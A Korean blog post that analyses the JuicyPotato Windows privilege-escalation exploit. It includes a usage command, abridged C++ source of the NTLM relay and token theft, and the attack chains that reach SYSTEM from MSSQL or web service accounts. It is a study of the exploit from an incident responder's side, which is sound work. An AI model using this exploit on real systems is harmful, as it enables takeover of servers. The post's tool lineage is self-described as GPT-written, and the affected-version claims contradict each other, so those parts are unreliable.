필자가 침해사고 분석 업무를 수행하던 시절, 윈도우 서버에서는 거의 무조건 등장하던 녀석들이 바로 이놈들이다. 흔히 포테이토 하고 하는데, 주로 웹이나 MSSQL로 침투한 후 권한 상승(LPE) 를 위해 사용되었다.
아무런 권한이 없는 서비스 계정도 이 exploit 하나면 마법처럼 SYSTEM 권한이 뿅 하고 나타나니, 귀신이 곡할 노릇이 아닐 수 없었다.
당시 이 exploit을 분석해봐야지 하고 생각은 하고있었는데, 필자의 이해도가 너무 낮았기 떄문에 후일로 미뤄놓았다가 이번에 꺼내들었다.
🥔 권한 상승 PoC 툴 계보#
윈도우 운영체제의 권한상승에는 다양한 방법이 사용될 수 있는데, 그 중 Potato계열의 계보를 정리해보자면 다음과 같다.(틀릴 수 있음, GPT가 해준거라)
- Potato (2016)
- James Forshaw 등 연구자들이 처음 제안한 token impersonation 기법.
- Windows 로컬 서비스 계정(SeImpersonatePrivilege 가진 경우)을 SYSTEM으로 올릴 수 있다는 걸 Proof of Concept으로 보여줌.
- 오래된 Windows 버전에서도 작동.
- RottenPotato (2016~2017)
- 원래 Potato 기법을 확장한 PoC.
- NTLM 릴레이 + DCOM/DCOM NTLM 인증을 이용해서 SYSTEM 토큰을 탈취.
- 주로 Windows 7/8, Server 2008/2012 등에서 사용 가능.
- RottenPotatoNG는 여기서 개선된 변형 버전.
- JuicyPotato (2018)
- Claudio Bozzato, Andrea Pierini 등이 만든 후속 도구.
- RottenPotato가 제한적 환경에서만 성공하는 문제를 개선.
- COM 서버 CLSID를 직접 호출하는 방식을 채택 → 성공률↑, 범용성↑.
- Windows 10 / Server 2016에서도 동작했던 시기가 있음.
- 하지만 이후 MS 패치로 막힌 부분 많음.
- PrintSpoofer, RoguePotato (2020 이후)
- JP가 막힌 뒤 새로 등장한 대안.
- PrintSpoofer: 인쇄 스풀러(Spooler) 서비스 악용.
- RoguePotato: TCP relay + RPC abuse.
2. Juicy Potato#
우선 요약#
- SeImpersonate, SeAssignPrimaryToken 권한을 통한 LPE
- com 취약점을 악용하여 NT System Token을 얻고 이를 통해 프로세스를 생성하는 방식으로 동작
- 로컬 서버 서비스에 대한 일종의 MitM 공격
- Windows Server 2019, Windows 10 build 1809 이후 버전부터 해당 취약점이 동작하지 않음
1
2
3
4
5
6
7
8
| # -l : com 요청을 수신할 포트. 안쓰이고 있는 아무 포트나 적어도 된다.
# -p : NT System 권한으로 실행할 프로그램
# -a : 실행할 프로그램에 줄 인자
# -t : process 생성에 사용할 api. *을 주면 알아서 선택해서 해준다.
## SeImpersonate -> CreateProcessWithTokenW
## SeAssignPrimaryToken -> CreateProcessAsUser
JuicyPotato.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c whoami" -l 4444
|
- JuicyPotato 는 Windows 환경에서 로컬 서비스 계정(Local Service Account) 을 대상으로 동작하는 권한 상승 취약점 공격 기법이다.
- 이 기법은 BITS(Background Intelligent Transfer Service) 및 COM 서버를 악용하여, 제한적인 권한을 가진 로컬 서비스 계정이 SYSTEM 권한을 획득할 수 있다.
JuicyPotato 익스플로잇을 성공적으로 수행하기 위해서는 대상 로컬 서비스 계정이 다음과 같은 가장(impersonation) 관련 권한을 보유해야 한다.
- SeImpersonatePrivilege
- SeAssignPrimaryTokenPrivilege
이 권한들은 일반적으로 로컬 서비스 계정에 기본적으로 존재하거나, 특정 환경 설정에 의해 활성화될 수 있다.
CLSID : Windows 컴포넌트의 고유 식별자 (예: {8BC3F05E-D86B-11D0-A075-00C04FB68820})
공격 기법(procedure)#
- COM 서버와 상호작용을 통해 액세스 토큰 확보 및 impersonation
- COM 서버는 Windows에서 다양한 시스템 서비스와 상호작용을 가능하게 한다.
- 공격자는 COM 서버와 통신을 통해 액세스 토큰(access token) 을 가장할 수 있다.
- 새로운 프로세스생성 후 확보한 토큰을 프로세스에 적용
- JuicyPotato는 COM 서버의 액세스 토큰을 가로채어 이를 SYSTEM 권한을 가진 토큰으로 가장한다.
- 새로운 프로세스를 생성한 뒤 해당 프로세스에 SYSTEM 토큰을 할당한다.
- 권한 상승 달성
- 최종적으로 공격자는 SYSTEM 권한으로 실행되는 프로세스를 확보하게 되며, 이는 Windows 시스템 전체 제어로 이어진다.
코드 분석#
- 우선 메인함수를 살펴보자, 중간 중간 필요 없는 부분은 생략했다.
JuicyPotato.cpp - wmain
1
2
3
4
5
6
7
8
9
10
11
| int wmain(int argc, wchar_t** argv)
{
BOOL brute = FALSE;
strcpy(dcom_ip, "127.0.0.1");
// Fallback to default BITS CLSID
if (olestr == NULL)
olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
exit(Juicy(NULL, FALSE));
}
|
- dcom_ip로 localhost ip 127.0.0.1 을 지정하고 있다.
- BITS 의 CLSID를 기본 값으로 사용한다. 4991d34b-80a1-4291-83b6-3328366b9097
- 이후 Juicy 함수를 실행한다.
- olestr은 전역 변수다.
JuicyPotato.cpp - Juicy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| int Juicy(wchar_t *clsid, BOOL brute)
{
PotatoAPI* test = new PotatoAPI();
// COM (DCOM 클라이언트)에서 들어오는 트래픽 받는 리스너 스레드 시작
test->startCOMListenerThread();
// RPC 서버(기본 127.0.0.1:135)로 중계하는 클라이언트 스레드 시작
test->startRPCConnectionThread();
// 지정 CLSID로 bits 활성화 → DCOM/RPC 인증 트래픽 유도
test->triggerDCOM();
// 메인루프
while (true) {
// authResult가 -1이 아니면(= 인증 핸드셰이크/네고 성공) 권한 전이 단계로 진입.
if (test->negotiator->authResult != -1)
{
// 현재 프로세스의 토큰 확보
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken))return 0;
// SE_IMPERSONATE_NAME, SE_ASSIGNPRIMARYTOKEN_NAME 권한 활성화
EnablePriv(hToken, SE_IMPERSONATE_NAME);
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
&hProcessToken);
// DCOM/RPC 인증에서 협상된 SSPI 보안 컨텍스트로부터 impersonate 토큰 획득.
QuerySecurityContextToken(
test->negotiator->phContext, &elevated_token);
// system 권한 체크
IsTokenSystem(elevated_token);
// 토큰 복제
result = DuplicateTokenEx(elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token);
}
}
return result;
}
|
- test라는 PotatoAPI 객체를 생성한 후 차례로 startCOMListenerThread, startRPCConnectionThread, triggerDCOM 함수를 실행한다.
- 해당 쓰레드들은 DCOM, RPC 사이 통신과정을 중계하고 토큰 정보를 뺴온다.
- 인증 토큰이 준비되면 system 권한인지 체크, 복제 하고 상승된 토큰을 프로세스에 새롭게 할당한다.
JuicyPotato.cpp - startCOMListenerThread
1
2
3
4
5
6
7
8
9
10
11
12
| DWORD PotatoAPI::startCOMListenerThread() {
DWORD ThreadID;
HANDLE t = CreateThread(
NULL, // 보안 속성 (NULL = 기본값)
0, // 스택 크기 (0 = 기본)
(LPTHREAD_START_ROUTINE)staticStartCOMListener, // 스레드 함수
(void*)this, // 스레드 함수에 전달할 인자 (여기서는 this 포인터)
0, // 플래그 (0 = 즉시 실행)
&ThreadID // 스레드 ID 반환값
);
return ThreadID; // 생성된 스레드의 ID 반환
}
|
- 스레드 생성 후 staticStartCOMListener 함수 실행, tid 리턴
JuicyPotato.cpp - staticStartCOMListener
1
2
3
4
| DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
PotatoAPI* This = (PotatoAPI*)Param;
return This->startCOMListener();
}
|
- 스레드에서 startCOMListener 함수 실행
JuicyPotato.cpp - startCOMListener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
int PotatoAPI::startCOMListener(void) {
// Winsock 초기화
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
// 리스닝 소켓 생성
ListenSocket = socket(
result->ai_family, result->ai_socktype, result->ai_protocol);
int optval = 1;
setsockopt(
ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
// 소켓 바인딩
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
// 리스닝 시작
iResult = listen(ListenSocket, SOMAXCONN);
timeval timeout = { 1, 0 };
fd_set fds;
FD_ZERO(&fds);
FD_SET(ListenSocket, &fds);
// 메인 루프: 클라이언트로부터 수신 → 처리/중계 → 응답 송신
do {
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
// 수신 패킷 내 NTLM 관련 바이트 검사/가공
processNtlmBytes(recvbuf, iResult);
// WinRPC 측 송신 큐로 데이터 전달
rpcSendQ->push((char*)&iResult);
rpcSendQ->push(recvbuf);
//WinRPC 측에서 응답 올 때까지 블록 대기
int* len = (int*)comSendQ->wait_pop();
sendbuf = comSendQ->wait_pop();
// 송신 전 응답 패킷 내 NTLM 바이트 검사/가공
processNtlmBytes(sendbuf, *len);
// 응답 송신
iSendResult = send(ClientSocket, sendbuf, *len, 0);
}
} while (iResult > 0);
}
|
- 지정된 포트에서 TCP 서버 소켓을 열고 클라이언트(COM)와 연결 후, 수신한 패킷을 내부 RPC 큐로 전달하고 응답을 받아 다시 클라이언트로 중계
JuicyPotato.cpp - startRPCConnectionThread
1
2
3
4
5
6
7
8
9
10
11
| DWORD PotatoAPI::startRPCConnectionThread() {
DWORD ThreadID;
CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)staticStartRPCConnection,
(void*)this,
0,
&ThreadID);
return ThreadID;
}
|
- 스레드 생성 후 staticStartRPCConnection 함수를 호출하고 tid 리턴
JuicyPotato.cpp - staticStartRPCConnection
1
2
3
4
| DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
PotatoAPI* This = (PotatoAPI*)Param;
return This->startRPCConnection();
}
|
JuicyPotato.cpp - startRPCConnection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| int PotatoAPI::startRPCConnection(void) {
// RPC 서버 기본 IP
else {
strcpy(myhost, "127.0.0.1");
}
// RPC 서버 기본 Port
else {
strcpy(myport, "135");
}
// 서버 연결
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
break;
}
// 메인 루프 큐에서 보낼 데이터 기다렸다가 RPC로 송신 → RPC 응답을 COM 쪽 큐로 전달
do {
// (블록) RPC 송신 큐에 데이터가 올라올 때까지 대기
int *len = (int*)rpcSendQ->wait_pop();
fflush(stdout);
sendbuf = rpcSendQ->wait_pop();
// RPC 서버로 송신
iResult = send(ConnectSocket, sendbuf, *len, 0);
// RPC 서버로부터 수신
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
// 수신한 길이/데이터를 COM 측 송신 큐로 전달
comSendQ->push((char*)&iResult);
comSendQ->push(recvbuf);
}
} while (iResult > 0);
return 0;
}
|
- RPC 서버(127.0.0.1:135)에 TCP로 연결해 내부 큐에서 전달받은 데이터를 전송하고, 받은 응답을 다시 다른 큐로 넘겨 COM 리스너와 RPC 서버 간 통신을 중계
JuicyPotato.cpp - triggerDCOM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| int PotatoAPI::triggerDCOM(void)
{
// COM 초기화
CoInitialize(nullptr);
// IStorage 준비를 위한 ILockBytes / IStorage 생성
IStorage *stg = NULL;
ILockBytes *lb = NULL;
HRESULT res;
res = CreateILockBytesOnHGlobal(NULL, true, &lb);
res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
// IStorageTrigger 객체 생성
IStorageTrigger* t = new IStorageTrigger(stg);
// 대상 CLSID / IID(IUnknown) 준비
CLSID clsid;
CLSIDFromString(olestr, &clsid);
CLSID tmp;
//IUnknown IID
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
//Call CoGetInstanceFromIStorage
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
fflush(stdout);
return 0;
}
|
- CoGetInstanceFromIStorage는 IStorage를 인자로 받아 해당 CLSID의 객체를 활성화하는 API.
- CLSCTX_LOCAL_SERVER: out-of-proc 로컬 서버(EXE) 활성화(= DCOM/RPC 경로를 타는 케이스)
- t(IStorageTrigger)가 전달되어 활성화 과정에서 스토리지가 사용됩니다. 이때 COM 런타임은 RPC를 사용하고, NTLM 인증 트래픽이 나가므로 앞서 만든 Listener/RPC 브리지가 이를 관찰/중계/가공 한다.
LocalNegitiator.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
| #include <iostream>
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
{
pSecBuffer->BufferType = SECBUFFER_TOKEN;
pSecBuffer->cbBuffer = 0;
pSecBuffer->pvBuffer = nullptr;
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
pSecBufferDesc->cBuffers = 1;
pSecBufferDesc->pBuffers = pSecBuffer;
}
// Type 1. Negotiation: 클라이언트 → 서버 협상 요청
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
{
TCHAR lpPackageName[1024] = L"Negotiate";
TimeStamp ptsExpiry;
int status = AcquireCredentialsHandle(
NULL,
lpPackageName,
SECPKG_CRED_INBOUND,
NULL,
NULL,
0,
NULL,
&hCred,
&ptsExpiry);
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
phContext = new CtxtHandle();
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
status = AcceptSecurityContext(
&hCred,
nullptr,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
return status;
}
// Type 2. Challenge Message: 서버 → 클라이언트 서버가 Challenge와 도메인 정보 등을 담아 응답
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
{
char* newNtlmBytes = (char*)secServerBuffer.pvBuffer;
if (len >= secServerBuffer.cbBuffer) {
for (int i = 0; i < len; i++)
{
if (i < secServerBuffer.cbBuffer) {
ntlmBytes[i] = newNtlmBytes[i];
}
else {
ntlmBytes[i] = 0x00;
}
}
}
else {
printf("Buffer sizes incompatible - can't replace");
}
return 0;
}
// Type 3. Authenticate Message: 클라이언트 → 서버 Challenge 응답, 서버는 검증
// 성공 시 서버는 SEC_E_OK 반환, 이후 QuerySecurityContextToken() 으로 클라이언트 자격 증명을 가진 액세스 토큰 획득 가능.
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
{
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
secClientBuffer.pvBuffer = ntlmBytes;
ULONG fContextAttr;
TimeStamp tsContextExpiry;
int status = AcceptSecurityContext(
&hCred,
phContext,
&secClientBufferDesc,
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
//STANDARD_CONTEXT_ATTRIBUTES,
SECURITY_NATIVE_DREP,
phContext,
&secServerBufferDesc,
&fContextAttr,
&tsContextExpiry);
authResult = status;
return status;
}
|
- SSPI(Windows Security Support Provider Interface) 를 사용해 NTLM/Negotiate 인증 핸드셰이크를 “로컬에서 흉내 내며” 처리하는 서버 측 토큰 협상기
- COM/DCOM에서 넘어오는 NTLM Type-1/2/3 메시지를 받아 AcceptSecurityContext로 단계별 검증·응답을 작성
- 최종적으로 보안 컨텍스트(토큰) 획득 상태를 authResult 변수에 저장
COM#
- Component Object Model의 약자
- Microsoft가 만든 소프트웨어 컴포넌트 기술
- 프로세스 간, 또는 네트워크를 통한 객체 기반 통신/재사용을 지원
- CLSID, IID 같은 고유 ID를 사용해 객체를 식별하고 호출
- Serial Communication에 사용하는 COM 포트가 아니다!
CLSID#
- Class Identifier
- GUID(Globally Unique Identifier) 형식의 128비트 값
- COM(Component Object Model)에서 클래스 객체(컴포넌트)를 식별하기 위해 사용
- COM은 “객체를 불러 쓰는 방식”, 이때 이름 대신 숫자 ID(GUID) 로 컴포넌트를 찾음
- 이유:
- 전 세계적으로 유일 (GUID 생성 알고리즘으로 충돌 가능성 거의 없음)
- 언어·환경 독립적 (C, C++, VB, .NET 등 어떤 언어에서든 같은 CLSID로 동일 객체를 호출 가능)
- Registry 기반 탐색
- CLSID는 Windows 레지스트리의 HKEY_CLASSES_ROOT\CLSID{…} 키 아래 등록됨
- 해당 CLSID에 매핑된 DLL/EXE 경로, 서버 유형(Inproc/Local/Remote) 등이 기록되어 있음
3. 정리#
- 코드 설명이 너무 길었는데 요약해보자면 다음과 같다.
exploit 배경#
- COM은 내부적으로 RPC를 통해 통신한다.
- Windows는 COM/DCOM 객체를 활성화할 때, 내부적으로 RPC를 통해 통신하며 NTLM 또는 Kerberos 인증을 수행.
- Windows는 로컬 RPC/DCOM 호출에서 SYSTEM 계정이 주로 사용됨
exploit 을 성공하기 위한 필요 조건#
- SE_IMPERSONATE_NAME, SE_ASSIGNPRIMARYTOKEN_NAME 권한 활성화
- RPC Endpoint Mapper (포트 135/tcp)와 DCOM 서비스가 SYSTEM 권한으로 동작중
공격 흐름#
1. COM/DCOM 요청 유도
- 특정 CLSID를 사용해 COM 객체를 호출하면 COM 런타임이 CLSID 활성화를 위해 DCOM/RPC 인증 절차를 시작
- JP는 이 CLSID를 이용해 **“SYSTEM 권한을 가진 BITS COM 서버와 통신하게 만들어 달라”**라고 COM/DCOM 런타임에 요청
- 클라이언트가 COM 객체를 요청하면, COM 런타임은 해당 CLSID를 담당하는 서버 프로세스를 찾고, 서버 쪽에서 클라이언트와 인증 세션(SSPI, NTLM/Kerberos)을 맺음
- 이 때 서버 쪽은 SYSTEM 권한을 가지고 있다. 서버가 SYSTEM 권한으로 실행 중이라면, NTLM 보안 컨텍스트 내부 토큰도 SYSTEM이 된다
2. RPC 인증 과정
- RPC는 클라이언트와(JP) 서버(SYSTEM) 간에 SSPI(Security Support Provider Interface) 기반 인증을 수행
- 만약 NTML 인증이라면 서버(SYSTEM)가 “이 계정으로 인증할게” 하고 SYSTEM 자격 증명의 인증 토큰을 클라이언트 세션으로 전달
3. 공격자 리스너 중계
- COM 호출이 접근하는 채널을 리스너로 리다이렉트 한다.
- SYSTEM이 NTLM 인증 토큰을 보내면 QuerySecurityContextToken로 추출할 수 있다.
- JP는 이 트래픽을 공격자가 만든 로컬 리스너로 리다이렉트시켜서, SYSTEM이 던지는 NTLM 인증 핸드셰이크를 가로챈다.
4. IMPERSONATION 토큰 획득
- SSPI 컨텍스트에서 SYSTEM 임퍼스네이션 토큰을 꺼냄
- 이 상태에서 스레드 토큰으로 ImpersonateSecurityContext를 걸면, 스레드가 SYSTEM처럼 행동할 수 있음
- 단, 이건 임퍼스네이션 토큰이기 때문에 새 프로세스를 SYSTEM으로 생성할수는 없음
5. Primary Token으로 변환
- DuplicateTokenEx 함수를 호출해 임퍼스네이션 토큰을 Primary 토큰으로 변환
- 이 때 SeImpersonatePrivilege 권한이 필요
- 변환을 성공하면 해당 토큰을 프로세스에 적용해 SYSTEM 권한 탈취 가능.
6. SYSTEM 프로세스 생성
- 이제 이 토큰을 CreateProcessWithTokenW나 CreateProcessAsUserW에 넣으면, SYSTEM 권한의 새 프로세스를 실행 가능
4. 실제 공격 테스트#

악용 방지를 위해 실제 코드는 가려놓았습니다
이미지 순서보면 처음에 ’nt service\mssqlserver’ 계정임을 확인할 수 있다.
이후 JP를 통한 exploit 실행 시 곧바로 ’nt authority\system’ 권한이 떨어지는 것을 볼 수 있다.
중요한 것은 일반 사용자 계정이 아니라, 시스템 서비스 계정이어야 한다는 것이다.
일반 사용자 계정에는 SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege / SeIncreaseQuotaPrivilege 같은 특권이 존재하지 않기 때문이다.
5. 권한과 특권#
- 서비스 계정의 특권 모델
Windows에서 “서비스(Service)”는 보통 특정 빌트인 서비스 계정으로 구동된다:
• LocalSystem (NT AUTHORITY\SYSTEM)
→ 이미 SYSTEM이므로 더 올라갈 필요 없음.
• LocalService (NT AUTHORITY\LOCAL SERVICE)
• NetworkService (NT AUTHORITY\NETWORK SERVICE)
→ 이 두 계정은 관리자도 아니고 일반 사용자보다 더 기능이 제한된 계정이지만, 서비스 실행을 위해 꼭 필요한 특권이 기본 포함돼 있다.
대표적으로:
• SeImpersonatePrivilege ✅ (있음)
• SeAssignPrimaryTokenPrivilege ✅ (있음)
• SeIncreaseQuotaPrivilege ✅ (있음)
즉, 웹서버(IIS w3wp.exe)나 MSSQL(sqlservr.exe) 같은 서비스는 보통 이 계정으로 실행되므로, 공격자가 이 프로세스를 장악하면 Potato 계열을 써서 SYSTEM으로 승격할 수 있게 된다.
다음 표를 참고해도 좋겠다.
일반 사용자 vs 서비스 계정 비교
계정 유형 | SeImpersonatePrivilege | SeAssignPrimaryTokenPrivilege | SeIncreaseQuotaPrivilege | JP/PrintSpoofer 성공 가능성 |
---|
일반 사용자 | ❌ 없음 | ❌ 없음 | ❌ 없음 | 불가 |
LocalService | ✅ 있음 | ✅ 있음 | ✅ 있음 | 가능 |
NetworkService | ✅ 있음 | ✅ 있음 | ✅ 있음 | 가능 |
6. 마무리#
해당 익스플로잇은 현재 최신 버전의 윈도우 서버 2016 이상 운영체제, 윈도우 10 이상 운영체제에서는 더이상 동작하지 않는다.
하지만 윈도우 서버 2012에서는 여전히 잘 동작하며 여전히 웹이나 MS-SQL 관리자 계정 탈취로 이어지는 공격 체인 시나리오는 위협적이다.
대표적인 공격 체인은 다음과 같다.
MSSQL sa 계정 탈취 > xp_cmdshell 활성화 > JP를 사용한 권한상승 수행
웹 취약점으로 관리자 계정이나 세션 탈취, 또는 웹 취약점 > 웹셸 생성 or SSTI 로 RCE > JP 를 통한 권한 상승
등.. 따라서 최신 운영체제를 사용하고 백신을 활성화 해 두는 것이 정말 중요하다 할 수 있겠다.
여기까지 끝! 2편에서는 Print Spoofer를 다뤄보까 한다.
Reference#
https://github.com/ohpe/juicy-potato/tree/master